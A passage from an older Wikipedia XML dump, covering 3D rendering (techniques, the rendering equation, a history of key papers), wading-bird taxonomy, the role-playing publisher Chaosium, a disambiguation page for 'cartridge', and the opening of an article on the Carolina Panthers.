It is one of the major sub-topics of [[3D computer graphics]], and in practice always connected to the others. In the 'graphics pipeline' it's the last major step, giving the final appearance to the models and animation. With the increasing sophistication of computer graphics since the 1970s onward, it has become a more distinct subject.

It has uses in: [[computer and video games]], simulators, [[movies]] or TV special effects, and design visualisation, each employing a different balance of features and techniques. As a product, a wide variety of renderers are available. some are integrated into larger modelling and animation packages, some are stand-alone, some are free open-source projects. On the inside, a renderer is a carefully engineered program, based on a selective mixture of disciplines related to: [[optics|light physics]], [[visual system|visual perception]], mathematics, and [[software engineering|software development]].

In the case of 3D graphics, rendering may be done slowly, as in [[pre-rendered|pre-rendering]], or in real time.  Pre-rendering is a computationally intensive process that is typically used for movie creation, while real-time rendering is often done for 3D video games which rely on the use of graphics cards with 3D hardware accelerators.

== Usage ==
When the pre-image (a [[wireframe]] sketch usually) is complete, rendering is used, which adds in [[bitmap textures]] or [[procedural textures]], lights, [[bump mapping]], and relative position to other objects. The result is a completed image the consumer or intended viewer sees.

For movie animations, several images (frames) must be rendered, and stitched together in a program capable of making an animation of this sort. Most 3D image editing programs can do this.

== Features ==
A rendered image can be understood in terms of a number of visible features. Rendering research and development has been largely motivated by finding ways to simulate these efficiently. Some relate directly to particular algorithms and techniques, while others are produced together.

* [[flat shading|'''shading''']] &amp;mdash; how the color and brightness of a surface varies with lighting
* [[texture mapping|'''texture-mapping''']] &amp;mdash; a method of applying detail to surfaces
* [[bump mapping|'''bump-mapping''']] &amp;mdash; a method of simulating small-scale bumpiness on surfaces
* [[distance fog|'''fogging/participating medium''']] &amp;mdash; how light dims when passing through non-clear atmosphere or air
* '''shadows''' &amp;mdash; the effect of obstructing light
* '''soft shadows''' &amp;mdash; varying darkness caused by partially obscured light sources
* '''reflection''' &amp;mdash; mirror-like or highly glossy reflection
* '''transparency''' &amp;mdash; sharp transmission of light through solid objects
* '''translucency''' &amp;mdash; highly scattered transmission of light through solid objects
* '''[[refraction]]''' &amp;mdash; bending of light associated with transparency
* [[global illumination|'''indirect illumination''']] &amp;mdash; surfaces illuminated by light reflected off other surfaces, rather than directly from a light source
* [[Caustic (optics)|'''caustics''']] (a form of indirect illumination) &amp;mdash; reflection of light off a shiny object, or focusing of light through a transparent object, to produce bright highlights on another object
* '''[[depth of field]]''' &amp;mdash; objects appear blurry or out of focus when too far in front of or behind the object in focus
* '''[[motion blur]]''' &amp;mdash; objects appear blurry due to high-speed motion, or the motion of the camera
* '''[[Photorealistic (Morph) | photorealistic morphing]]''' &amp;mdash; photoshopping 3D renderings to appear more life-like
* '''[[non-photorealistic rendering]]''' &amp;mdash; rendering of scenes in an artistic style, intended to look like a painting or drawing

== Techniques ==
Two families of overall, light transport, techniques have emerged: '''[[radiosity]]''' &amp;mdash; related to [[finite element]] mathematics, and '''[[ray tracing]]''' &amp;mdash; related to [[Monte Carlo method|Monte Carlo]] mathematics.  Radiosity attempts to simulate the way in which reflected light instead of just reflecting to another surface also illuminates the area around it, this is because some diffuse light is reflected in a large spectrum of directions and illuminates the area around it, in this way the scene has an ambience that is very true to real life, radiosity as a technique comes with a variety in complexity, many realtime renderings have a very rough estimate of radiosity simply illumination an entire scene very slightly with a factor known as ambience, however some renderings incorporate ray-tracing principles and deliver great realism particularly for indoor scenes. Monte Carlo rendering techniques effectively use complicated geometry to trace virtual rays of light, it uses estimation and properties of objects as in most radiosity but it actually estimates the spreading of light and many programs are advanced enough to include complex and accurate rendering of shadows and even refraction! Ray tracing allows you to add complicated objects into a scene and describe them mathematically, of course tracing every ray of light in a scene would be impractical and would take gigantic amounts of time, that's where Monte Carlo maths comes in, it calculates a rough irradiance (joules per metre squared on a surface) using probabilities therefore finding roughly the photon density hitting the surface, so the program is not restricted to basic renderings of different objects as a real time solution tends to be. Take the example of a sauce pan, the bottom of a sauce pan has two triangular specular highlights from the center, this effect is due to the micro-geometry of the pan and can be described accurately in a program. Of course when done badly this means some scenes end up with objects that look brutally out of place. Both solutions can provide a framework for a fairly complete solution to the rendering equation. Such approaches can be very slow and computationally-intensive, however as time has gone on radiosity has become the leading real time rendering method but when computer power increases it could be over taken by ray-tracing or another more complicated method.

For real-time, a complete calculation is not currently possible. Much faster is to simplify with one or both of these common approximations: No illumination, just '''[[texture mapping]]''' &amp;mdash; since the intrinsic colors of an object has the greatest influence on its appearance. Or '''direct illumination''' &amp;mdash; light from light-source to surface, then reflected from surface to camera/eye, since this light path is usually dominant in a scene. These would often be augmented with other special-case effects, or precalculations.

There are two large-scale approaches to rendering that can be applied to almost any rendering task.  Which approach is chosen for a given task greatly influences the kind of problems that will have to be solved to create a successful renderer.

There are some lesser known approaches to rendering, [[spherical harmonics]] among others.  These techniques are lesser known often due to slow speed, lack of practical use or simply because they are in early stages of development, maybe some will offer a new solution.

===Pixel-by-pixel===
As stated earlier, rendering is the problem of deciding what color each pixel should be, given a high-level representation of an image. One way to accomplish rendering is to take this description literally: loop over each pixel in the image, and determine based on the high-level description what color should be assigned to that pixel.

This approach is frequently used when one is rendering to perform [[color balance|color balancing]], video [[compositing]], and similar effects. In this case, each pixel in the rendered image depends on exactly one pixel in each of the source images, so a pixel-by-pixel technique is the natural approach.

When this approach is applied to 3D rendering, one arrives at the most basic version of the [[ray tracing]] algorithm.

===Primitive-by-primitive===
A high-level representation of an image necessarily contains elements in a different domain from pixels.  These elements are referred to as primitives.  In a schematic drawing, for instance, line segments and curves might be primitives.  In a graphical user interface, windows and buttons might be the primitives.  In 3D rendering, triangles and polygons in space might be primitives.

If a pixel-by-pixel approach to rendering is impractical or too slow for some task, then a primitive-by-primitive approach to rendering may prove useful.  Here, one loops through each of the primitives, determines which pixels in the image it affects, and modifies those pixels accordingly.  This is called '''rasterization''', and is the rendering method used by all current [[graphics card]]s.

Rasterization is frequently faster than pixel-by-pixel rendering.  First, large areas of the image may be empty of primitives; rasterization will ignore these areas, but pixel-by-pixel rendering must pass through them.  Second, rasterization can improve [[cache coherency]] and reduce redundant work by taking advantage of the fact that the pixels occupied by a single primitive tend to be contiguous in the image.  For these reasons, rasterization is usually the approach of choice when [[interactivity|interactive]] rendering is required; however, the pixel-by-pixel approach can often produce higher-quality images and is more versatile because it does not depend on as many assumptions about the image as rasterization.

Rasterization exists in two main forms, not only when an entire face (primitive) is rendered but when the vertices of a face are all rendered and then the pixels on the face which lie between the vertices rendered using simple blending of each vertex colour to the next, this version of rasterization has overtaken the old method as it allows the graphics to flow without complicated textures (a rasterized image when used face by face tends to have a very block like effect if not covered in complex textures, the faces aren't smooth because there is no gradual smoothness from one pixel to the next,) this meens that you can utilise the graphics card's more taxing shading functions and still achieve better performance because you have freed up space o the card because complex textures aren't necessary. sometimes people will use one rasterization method on some faces and the other method on others based on the angle at which that face meats other joined faces, this can increase speed and not take away too much from the images overall effect.

===Sampling and filtering===
One problem that any rendering system must deal with, no matter which approach it takes, is the '''sampling problem'''.  Essentially, the rendering process tries to depict a [[continuous function]] from image space to colors by using a finite number of pixels.  As a consequence of the [[Nyquist-Shannon sampling theorem|Nyquist theorem]], the scanning  frequency must be twice the dot rate, which is proportional to [[image resolution]].  In simpler terms, this expresses the idea that an image cannot display details smaller than one pixel.

If a naive rendering algorithm is used, high frequencies in the image function will cause ugly [[aliasing]] to be present in the final image.  Aliasing typically manifests itself as [[jaggies]], or jagged edges on objects where the pixel grid is visible.  In order to remove aliasing, all rendering algorithms (if they are to produce good-looking images) must filter the image function to remove high frequencies, a process called [[antialiasing]].

*  the [[painter's algorithm]]
*  [[Scanline rendering|Scanline algorithms]] like [[Reyes rendering | Reyes]]
*  [[Z-buffering|Z-buffer algorithms]]
*  [[Global illumination]]
*  [[Radiosity]]
*  [[Ray tracing]]
*  [[Volume rendering]]

Rendering for movies often takes place on a network of tightly connected computers known as a [[render farm]].

The current state of the art in 3-D image description for movie creation is the [[RenderMan]] [[scene description language]] designed at [[Pixar]]. (compare with simpler 3D fileformats such as [[VRML]] or [[application programming interface|API]]s such as [[OpenGL]] and [[DirectX]] tailored for 3D hardware accelerators).

Movie type rendering software includes:
* [[Renderman | RenderMan compliant renderers]]
* [[Mental Ray]]
* [[Brazil R/S|Brazil]]
* [[Blender (software)|Blender]] (may also be used for modeling)

== Academic core ==
Most rendering development and use aims at '''photorealism''' &amp;mdash; to produce images indistinguishable from photographs.

The implementation of a realistic renderer always has some basic element of physical simulation or emulation &amp;mdash; some computation which resembles or abstracts a real physical process.

The term &quot;''physically-based''&quot; indicates the use of physical models and approximations that are more general and widely accepted outside rendering. A particular set of related techniques have gradually become established in the rendering community.

The basic concepts are moderately straightforward, but intractable to calculate; and a single elegant algorithm or approach has been elusive for more general purpose renderers. In order to meet demands of robustness, accuracy, and practicality, an implementation will be a complex combination of different techniques.

Rendering research is concerned with both the adaptation of scientific models and their efficient application.

===The rendering equation===
{{main|Rendering equation}}

This is the key academic/theoretical concept in rendering. It serves as the most abstract formal expression of the non-perceptual aspect of rendering. All more complete algorithms can be seen as solutions to particular formulations of this equation.

: &lt;math&gt;L_o(x, \vec w) = L_e(x, \vec w) + \int_\Omega f_r(x, \vec w', \vec w) L_i(x, \vec w') (\vec w' \cdot \vec n) d\vec w'&lt;/math&gt;
Meaning: at a particular position and direction, the outgoing light (L&lt;sub&gt;o&lt;/sub&gt;) is the sum of the emitted light (L&lt;sub&gt;e&lt;/sub&gt;) and the reflected light. The reflected light being the sum of the incoming light (L&lt;sub&gt;i&lt;/sub&gt;) from all directions, multiplied by the surface reflection and incoming angle. By connecting outward light to inward light, via an interaction point, this equation stands for the whole 'light transport' &amp;mdash; all the movement of light &amp;mdash; in a scene.

===The Bidirectional Reflectance Distribution Function===
The '''[[Bidirectional Reflectance Distribution Function]]''' (BRDF) expresses a simple model of light interaction with a surface as follows:

: &lt;math&gt;f_r(x, \vec w', \vec w) = \frac{dL_r(x, \vec w)}{L_i(x, \vec w')(\vec w' \cdot \vec n) d\vec w'}&lt;/math&gt;

Light interaction is often approximated by the even simpler models: diffuse reflection and specular reflection, although both can be BRDFs.

===Geometric optics===
Rendering is practically exclusively concerned with the particle aspect of light physics &amp;mdash; known as geometric optics. Treating light, at its basic level, as particles bouncing around is a simplification, but appropriate: the wave aspects of light are negligible in most scenes, and are significantly more difficult to simulate. Notable wave aspect phenomena include diffraction &amp;mdash; as seen in the colours of [[Compact disc|CD]]s and [[DVD]]s &amp;mdash; and polarisation &amp;mdash; as seen in [[Liquid crystal display|LCD]]s. Both types of effect, if needed, are made by appearance-oriented adjustment of the reflection model.

===Visual perception===
Though it receives less attention, an understanding of human visual perception is valuable to rendering. This is mainly because image displays and human perception have restricted ranges. A renderer can simulate an almost infinite range of light brightness and color, but current displays &amp;mdash; movie screen, computer monitor, etc. &amp;mdash; cannot handle so much, and something must be discarded or compressed. Human perception also has limits, and so doesn't need to be given large-range images to create realism. This can help solve the problem of fitting images into displays, and, furthermore, suggest what short-cuts could be used in the rendering simulation, since certain subtleties won't be noticeable. This related subject is [[tone mapping]].

Mathematics used in rendering includes: [[linear algebra]], [[calculus]], [[numerical analysis|numerical mathematics]], [[digital signal processing|signal processing]], [[Monte Carlo method|monte carlo]].

== Chronology of important published ideas ==
* 1970 '''Scan-line algorithm''' (Bouknight, W. J. (1970). A procedure for generation of three-dimensional half-tone computer graphics presentations. ''Communications of the ACM'')
* 1971 '''Gouraud shading''' (Gouraud, H. (1971). Computer display of curved surfaces. ''IEEE Transactions on Computers'' '''20''' (6), 623&amp;ndash;629.)
* 1974 '''Texture mapping''' (Catmull, E. (1974). A subdivision algorithm for computer display of curved surfaces. ''PhD thesis'', University of Utah.)
* 1974 '''Z-buffer''' (Catmull, E. (1974). A subdivision algorithm for computer display of curved surfaces. ''PhD thesis'')
* 1975 '''Phong shading''' (Phong, B-T. (1975). Illumination for computer generated pictures. ''Communications of the ACM'' '''18''' (6), 311&amp;ndash;316.)
* 1976 '''Environment mapping''' (Blinn, J.F. Newell, M.E. (1976). Texture and reflection in computer generated images. ''Communications of the ACM'' '''19''', 542&amp;ndash;546.)
* 1977 '''Shadow volumes''' (Crow, F.C. (1977). Shadow algorithms for computer graphics. ''Computer Graphics (Proceedings of SIGGRAPH 1977)'' '''11''' (2), 242&amp;ndash;248.)
* 1978 '''Shadow buffer''' (Williams, L. (1978). Casting curved shadows on curved surfaces. ''Computer Graphics (Proceedings of SIGGRAPH 1978)'' '''12''' (3), 270&amp;ndash;274.)
* 1978 '''Bump mapping''' (Blinn, J.F. (1978). Simulation of wrinkled surfaces. ''Computer Graphics (Proceedings of SIGGRAPH 1978)'' '''12''' (3), 286&amp;ndash;292.)
* 1980 '''BSP trees''' (Fuchs, H. Kedem, Z.M. Naylor, B.F. (1980). On visible surface generation by a priori tree structures. ''Computer Graphics (Proceedings of SIGGRAPH 1980)'' '''14''' (3), 124&amp;ndash;133.)
* 1980 '''Ray tracing''' (Whitted, T. (1980). An improved illumination model for shaded display. ''Communications of the ACM'' '''23''' (6), 343&amp;ndash;349.)
* 1981 '''Cook shader''' (Cook, R.L. Torrance, K.E. (1981). A reflectance model for computer graphics. ''Computer Graphics (Proceedings of SIGGRAPH 1981)'' '''15''' (3), 307&amp;ndash;316.)
* 1983 '''Mipmaps''' (Williams, L. (1983). Pyramidal parametrics. ''Computer Graphics (Proceedings of SIGGRAPH 1983)'' '''17''' (3), 1&amp;ndash;11.)
* 1984 '''Octree ray tracing''' (Glassner, A.S. (1984). Space subdivision for fast ray tracing. ''IEEE Computer Graphics &amp; Applications'' '''4''' (10), 15&amp;ndash;22.)
* 1984 '''Alpha compositing''' (Porter, T. Duff, T. (1984). Compositing digital images. ''Computer Graphics (Proceedings of SIGGRAPH 1984)'' '''18''' (3), 253&amp;ndash;259.)
* 1984 '''Distributed ray tracing''' (Cook, R.L. Porter, T. Carpenter, L. (1984). Distributed ray tracing. ''Computer Graphics (Proceedings of SIGGRAPH 1984)'' '''18''' (3), 137&amp;ndash;145.)
* 1984 '''Radiosity''' (Goral, C. Torrance, K.E. Greenberg, D.P. Battaile, B. (1984). Modelling the interaction of light between diffuse surfaces. ''Computer Graphics (Proceedings of SIGGRAPH 1984)'' '''18''' (3), 213&amp;ndash;222.)
* 1985 '''Hemi-cube radiosity''' (Cohen, M.F. Greenberg, D.P. (1985). The hemi-cube: a radiosity solution for complex environments. ''Computer Graphics (Proceedings of SIGGRAPH 1985)'' '''19''' (3), 31&amp;ndash;40.)
* 1986 '''Light source tracing''' (Arvo, J. (1986). Backward ray tracing. ''SIGGRAPH 1986 Developments in Ray Tracing course notes'')
* 1986 '''Rendering equation''' (Kajiya, J.T. (1986). The rendering equation. ''Computer Graphics (Proceedings of SIGGRAPH 1986)'' '''20''' (4), 143&amp;ndash;150.)
* 1987 '''[[Reyes rendering | Reyes]] algorithm''' (Cook, R.L. Carpenter, L. Catmull, E. (1987). The reyes image rendering architecture. ''Computer Graphics (Proceedings of SIGGRAPH 1987)'' '''21''' (4), 95&amp;ndash;102.)
* 1991 '''Hierarchical radiosity''' (Hanrahan, P. Salzman, D. Aupperle, L. (1991). A rapid hierarchical radiosity algorithm. ''Computer Graphics (Proceedings of SIGGRAPH 1991)'' '''25''' (4), 197&amp;ndash;206.)
* 1993 '''Tone mapping''' (Tumblin, J. Rushmeier, H.E. (1993). Tone reproduction for realistic computer generated images. ''IEEE Computer Graphics &amp; Applications'' '''13''' (6), 42&amp;ndash;48.)
* 1993 '''Subsurface scattering''' (Hanrahan, P. Krueger, W. (1993). Reflection from layered surfaces due to subsurface scattering. ''Computer Graphics (Proceedings of SIGGRAPH 1993)'' '''27''' (), 165&amp;ndash;174.)
* 1995 '''Photon mapping''' (Jensen, H.J. Christensen, N.J. (1995). Photon maps in bidirectional monte carlo ray tracing of complex objects. ''Computers &amp; Graphics'' '''19''' (2), 215&amp;ndash;224.)

== See also ==
* [[Pre-rendered]]
* [[Graphics pipeline]]
* [[Virtual model]]

== Books and summaries ==
* Foley; Van Dam; Feiner; Hughes (1990). ''Computer Graphics: Principles And Practice''. Addison Wesley. ISBN 0201121107.
* Glassner (1995). ''Principles Of Digital Image Synthesis''. Morgan Kaufmann. ISBN 1558602763.
* Pharr; Humphreys (2004). ''Physically Based Rendering''. Morgan Kaufmann. ISBN 012553180X.
* Dutre; Bala; Bekaert (2002). ''Advanced Global Illumination''. AK Peters. ISBN 1568811772.
* Jensen (2001). ''Realistic Image Synthesis Using Photon Mapping''. AK Peters. ISBN 1568811470.
* Shirley; Morley (2003). ''Realistic Ray Tracing'' (2nd ed.). AK Peters. ISBN 1568811985.
* Glassner (1989). ''An Introduction To Ray Tracing''. Academic Press. ISBN 0122861604.
* Cohen; Wallace (1993). ''Radiosity and Realistic Image Synthesis''. AP Professional. ISBN 0121782700.
* Akenine-Moller; Haines (2002). ''Real-time Rendering'' (2nd ed.). AK Peters. ISBN 1568811829.
* Gooch; Gooch (2001). ''Non-Photorealistic Rendering''. AKPeters. ISBN 1568811330.
* Strothotte; Schlechtweg (2002). ''Non-Photorealistic Computer Graphics''. Morgan Kaufmann. ISBN 1558607870.
* Blinn (1996). ''Jim Blinns Corner - A Trip Down The Graphics Pipeline''. Morgan Kaufmann. ISBN 1558603875.
* [http://radsite.lbl.gov/radiance/papers/sg94.1/ Description of the 'Radiance' system]

== External links ==
* [http://www.siggraph.org/ SIGGRAPH] The ACMs special interest group in graphics &amp;mdash; the largest academic and professional association and conference.
* [http://www.raytracingnews.org/ Ray Tracing News] A newsletter on ray tracing technical matters.
* [http://www.realtimerendering.com/ Real-Time Rendering resources] A list of links to resources, associated with the ''Real-Time Rendering'' book.
* http://www.graphicspapers.com/ Database of graphics papers citations.
* http://www.cs.brown.edu/~tor/ List of links to (recent) siggraph papers (and some others) on the web.
* http://www.pointzero.nl/renderers/ List of links to all kinds of renderers.
* http://www.renderman.org/
* [http://radsite.lbl.gov/radiance/ 'Radiance' renderer.] A highly accurate ray-tracing software system.
* [http://www.aqsis.org/ 'Aqsis' renderer] A free RenderMan compatible OpenSource REYES renderer.
* http://www.povray.org/ A free ray tracer.

[[Category:3D computer graphics]]
[[Category:Computer graphics]]

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[[th:การสร้างภาพจากแบบจำลอง]]</text>
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  <page>
    <title>Citric Acid cycle</title>
    <id>6605</id>
    <revision>
      <id>38561179</id>
      <timestamp>2006-02-07T03:02:47Z</timestamp>
      <contributor>
        <username>Unint</username>
        <id>531119</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">#REDIRECT [[Citric acid cycle]] {{R for alternate capitalisation}}</text>
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  </page>
  <page>
    <title>Cartridge</title>
    <id>6606</id>
    <revision>
      <id>24998999</id>
      <timestamp>2005-10-07T19:30:37Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sl</comment>
      <text xml:space="preserve">The word '''cartridge''' has different meanings, depending on context:
*[[Cartridge (electronics)]] - a module to be inserted into a larger piece of equipment, for example a games cartridge in a [[games console]], or an [[ink]] cartridge in a [[Computer printer|printer]].
*[[8-track]] audio tapes are often called cartridges.
*[[Cartridge (firearms)]] is a round of charge-and-bullet ammunition.
*The removable part of a [[gramophone|record player]] (turntable) arm holding the [[stylus]] (needle) - see [[magnetic cartridge]].
*Cartridge paper is a high quality type of heavy [[paper]] used for illustration, drawing, etc. It was originally used for making cartridges of the weaponry kind, hence the name.
*Originally a cartridge was a small paper package, e.g. in an old book about making [[printer]]'s [[typesetting|type]]: After all the type has been [[molding|cast]]: &quot;The Boy will paper up each sort in a cartridge by itself&quot;. This is an [[obsolete]] usage.

{{disambig}}

[[sl:Naboj (orožje)]]</text>
    </revision>
  </page>
  <page>
    <title>Chaosium</title>
    <id>6607</id>
    <revision>
      <id>39315140</id>
      <timestamp>2006-02-12T07:45:27Z</timestamp>
      <contributor>
        <username>The 21 Planes of Hell</username>
        <id>921835</id>
      </contributor>
      <text xml:space="preserve">'''Chaosium''' is one of the longer lived publishers of [[role-playing game]]s still in existence.  Originally founded by [[Greg Stafford]], its first game was actually a wargame, [[White Bear and Red Moon]], which later mutated into [[Dragon Pass]] and its sequel, [[Nomad Gods]].  [[White Bear and Red Moon]] is notable for containing the first published material about [[Glorantha]], later immortalized as the primary setting for the role-playing game [[RuneQuest]] and, now, [[Hero Wars]].

The rules of RuneQuest, Chaosium's first role-playing game, were distilled down into a generic, genre-agnostic format known as [[Basic Role-Playing]] ([[BRP]]).  These generic rules formed the basis of many, if not most, of Chaosium's later RPGs, such as [[Call of Cthulhu (role-playing game)|Call of Cthulhu]], [[Stormbringer]], [[Nephilim (RPG)|Nephilim]], and [[RingworldRPG|Ringworld]].

Chaosium and [[Greg Stafford]] are also responsible for [[Pendragon RPG|Pendragon]], an Arthurian RPG now published by [[Green Knight Publishing]]. Other games of note include [[Mythos (role-playing game)|Mythos]], [[Elfquest]], [[Worlds of Wonder]], [[Superworld]], [[Hawkmoon]], and the frequently forgotten [[Prince Valiant]].

Some Chaosium products have been translated into [[French language|French]], [[German language|German]], [[Spanish language|Spanish]] and [[Italian language|Italian]], and were available in [[France]] from [[Jeux Descartes]], in [[Germany]] from [[Pegasus Press]], in [[Spain]] from [[La factoría de ideas]] and in [[Italy]] from ''Stratelibri'' and ''Grifo Edizioni''.

In the mid-1980s, Chaosium entered into a complex arrangement with [[Avalon Hill]] to publish RuneQuest material while Chaosium maintained editorial control over Glorantha-based material for the game (which Avalon Hill would publish).  While this agreement reportedly kept the company in existence, it also left RuneQuest moribund, leading to products of questionable quality, long gaps with no products published at all, and, eventually, the death of the game altogether.

In the late 1990s, Chaosium effectively split up into various successor companies, each maintaining its focus on a few of the company's products. [[Green Knight Publishing]] formed to focus on Pendragon, Chaosium &quot;proper&quot; retained Call of Cthulhu, Stormbringer, and Mythos, while Greg Stafford founded [[Issaries]] to publish [[Hero Wars|Hero Quest]] and focus on bringing new [[Glorantha]] related material into print. Also, [[Wizard's Attic]] was formed in order to act as a fulfillment house.

Several notable RPG authors have written material for Chaosium, including [[Arduin]] creator [[David A. Hargrave]]. The infamous [[Arduin]] spell '''[[Stafford's Star Bridge]]''' was in fact ''named'' after Chaosium founder [[Greg Stafford]].

== External links ==
* [http://www.chaosium.com Chaosium's official website]

[[Category:Role-playing game publishing companies]]

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  <page>
    <title>Ciconiiformes</title>
    <id>6609</id>
    <revision>
      <id>41853489</id>
      <timestamp>2006-03-02T03:58:51Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Ciconiiformes
| image = 2002313 Saddlebilled Stork.jpg
| image_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[bird|Aves]]
| ordo = '''Ciconiiformes'''
| ordo_authority = [[Charles Lucien Jules Laurent Bonaparte|Bonaparte]], 1854
| subdivision_ranks = Families
| subdivision = 
*[[Ardeidae]]
*[[Cochlearidae]] (the [[Boat-billed Heron]])
*[[Balaenicipitidae]] (the [[Shoebill]])
*[[Scopidae]] (the [[Hammerkop]])
*[[Ciconiidae]]
*[[Threskiornithidae]]
*[[Cathartidae]]
}}
Traditionally, the [[order (biology)|order]] '''Ciconiiformes''' has included a variety of large, long-legged wading birds with large bills: [[stork]]s, [[heron]]s, [[egret]]s, [[ibis]]es, [[spoonbill]]s, and several others. Ciconiiformes are known from the Late [[Eocene]].  

Following the development of research techniques in [[molecular biology]] in the late [[20th century]], in particular methods for studying [[DNA-DNA hybridisation]], a great deal of new information has surfaced, much of it suggesting that many birds, although looking very different to one another, are in fact more closely related than was previously thought. Accordingly, the radical and influential [[Sibley-Ahlquist taxonomy]] greatly enlarged the Ciconiiformes, adding many more families, including most of those usually regarded as belonging to the Sphenisciformes ([[penguin]]s), Gaviiformes ([[diver (bird)|diver]]s). Podicipediformes ([[grebe]]s), Procellariiformes ([[tubenose|tubenosed seabirds]]), [[Charadriiformes]], ([[wader]]s, [[gull]]s, [[tern]]s and [[auk]]s), [[Pelecaniformes]] ([[pelican]]s, [[cormorant]]s, [[gannet]]s and allies), and the [[Falconiformes]] ([[bird of prey|diurnal birds of prey]]). The [[flamingo]] family, Phoenicopteridae, is related, and is sometimes classed as part of the Ciconiiformes.

However, morphological evidence suggests that the traditional Ciconiiformes should be split between two lineages, rather than expanded, although some non-traditional Ciconiiformes may be included in these two lineages.

For example, the [[New World vulture]]s (Cathartidae) are now usually included in the Ciconiiformes. This is not unequivocally accepted, but the vast majority of ornithologists believe it to be accurate based on morphological, behavioral and molecular evidence.


Some official bodies, notably the [[American Ornithologists' Union]], have adopted the proposed Sibley-Ahlquist taxonomy almost entirely, however a more common approach worldwide has been to retain the traditional groupings, and modify rather than replace them in the light of new evidence as it comes to hand. The family listing here follows this more conservative practice. Bird taxonomy has been in a state of flux for some years, and it is reasonable to expect that the large differences between different classification schemes will continue to gradually resolve theselves as more evidence becomes available.

In most cultures, at least some members of the Ciconiiformes -- herons, storks, ibis, egrets and so on -- have always had an unusual status as objects of religious or artistic veneration. The attraction is certainly not phylogenetic. The morphologically similar, but unrelated, [[crane (bird)|crane]]s are treated in the same way. 

Sometimes hauntingly beautiful evocations of these birds are known from antiquity in, for example, Greece, Africa, Egypt, China and Japan. In Indo-European cultures the long-legged water bird tends to be a comical or even evil figure. The cultural phylogeny of these symbols would be an interesting study in itself, and their relative stability over millennia is surprising.

[[image:Great-Egret.jpg|thumb|left|250px|Great Egrets.]]
Certainly one of the reasons for the attention given the ciconiiformes is their strange and alien way of moving. That special style of movement, whether perceived as graceful or comically awkward, is emphasized in the behavioral rituals common in the group. Some ciconiiforms are completely silent, and vocalization in most species is fairly limited. Thus, rituals and displays are the primary means of communication. 

These behaviors seem to be  almost completely genetically determined.  In fact, one study analyzed the ritual behaviors of storks as if they were anatomical characters and  reconstructed a taxonomic tree almost identical to the trees arrived at by anatomical or biochemical characteristics.  

The rituals associated with initial mate selection, such as the male's &quot;advertising&quot; of his nest site and the female's expression of interest in the male's real estate, were quite extraordinarily stable. 

Behaviours related to later events, such as copulation and pair-bond affirmation seem to be  more phylogenetically plastic. Finally, behaviors not related to mating, such as the &quot;anxiety stretch&quot; or aggression displays, were quite variable, but still clearly inherited.  This contrasts strongly with the song behaviors of [[passerine]] birds, which are strongly influenced by learning and individual experience.

==Physical characters==

Ciconiiformes have only a single pair of sternotracheal muscles in the syrinx; 16-20 cervical vertebrae; are diastataxic (the fifth secondary feather is absent, but fifth secondary covert is present); the feet are not webbed; the middle claw is laterally expanded, (pectinate in some families); intestinal ceca present, nearly always very small.

Ciconiiformes are primarily occupy fresh water or terrestrial habitat, they are not filter feeders, and mostly feed on fish, [[crustacean]]s, insects, and carrion. They do not swim for food, and the northerly species [[bird migration|migrate]]. They are strong flyers with broad wings. 

[[image:Yellow-billed-spoonbill.jpg|thumb|250px|Yellow-billed Spoonbill.]]
Most nest in trees although some build nests in swamps or on the ground. The young are [[altricial]]. Most species are generally colonial but the use of sound is uncommon. Social communication is by displays and rituals.

== References ==
* Slikas, B (1998), &quot;Recognizing and testing homology of courtship displays in storks (Aves: Ciconiiformes: Ciconiidae)&quot;. &lt;u&gt;Evolution&lt;/u&gt; 52: 884-893.

[[Category:Ciconiiformes|*]]

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  <page>
    <title>Carolina Panthers</title>
    <id>6610</id>
    <revision>
      <id>41921183</id>
      <timestamp>2006-03-02T17:05:58Z</timestamp>
      <contributor>
        <username>FamousBobby</username>
        <id>1003430</id>
      </contributor>
      <comment>/* Not to be forgotten */</comment>
      <text xml:space="preserve">{{NFL team | name = Carolina Panthers
| logo = CarolinaPanthers_100.png
| founded = 1995
| city = Charlotte, North Carolina
| nicknames = The Cardiac Cats
| colors = Black, Panther Blue, and Silver
| coach = [[John Fox (NFL)|John Fox]]
| owner = [[Jerry Richardson]]
| general manager = [[Marty Hurney]]
| mascot = [[Sir Purr]]
| stations = [[WBT (AM)]] (1110 AM) and WBT (FM) (99.3 FM)
| announcers = [[Mick Mixon]], Eugene Robinson, and Jim Szoke
| hist_yr = 1995
| NFL_start_yr = 1995
| division_hist =
*'''[[National Football Conference]] (1995-present)'''
**[[NFC West]] (1995-2001)
**'''[[NFC South]] (2002-present)'''
| no_conf_champs = 1
| no_div_champs = 2
| conf_champs =
*'''NFC''' 2003
| div_champs =
*'''NFC West:''' 1996
*'''NFC South:''' 2003
| stadium_years =
*[[Memorial Stadium, Clemson]] (1995)
*'''[[Bank of America Stadium]] (1996-present)'''
**a.k.a. Ericsson Stadium (1996-2004)
}}

The '''Carolina Panthers''' are a professional [[American football]] team based in [[Charlotte, North Carolina]]. They currently belong to the [[NFC South|Southern Division]] of the [[National Football Conference]] (NFC) in the [[National Football League]] (NFL). The Panthers, along with the [[Jacksonville Jaguars]], joined the NFL as 1995 [[expansion team]]s.

:'''Uniform colors:''' Black, Panther Blue, Silver, and White
:'''Helmet design:''' Silver helmet, a black snarling [[Black panther|panther]] outlined in blue

==Franchise history==
===The making of a dream===
Back in 1987, shortly after it was decided that Charlotte would receive an expansion [[National Basketball Association]] franchise (the [[New Orleans Hornets|Charlotte (now New Orleans) Hornets]]), former [[Baltimore Colts]] player [[Jerry Richardson]] met with a group of potential backers to discuss the possibility of bringing an NFL [[expansion]] team to the Carolina region. Richardson Sports decided upon a spot in the uptown section of Charlotte to build a privately financed stadium seating more than 70,000 fans.

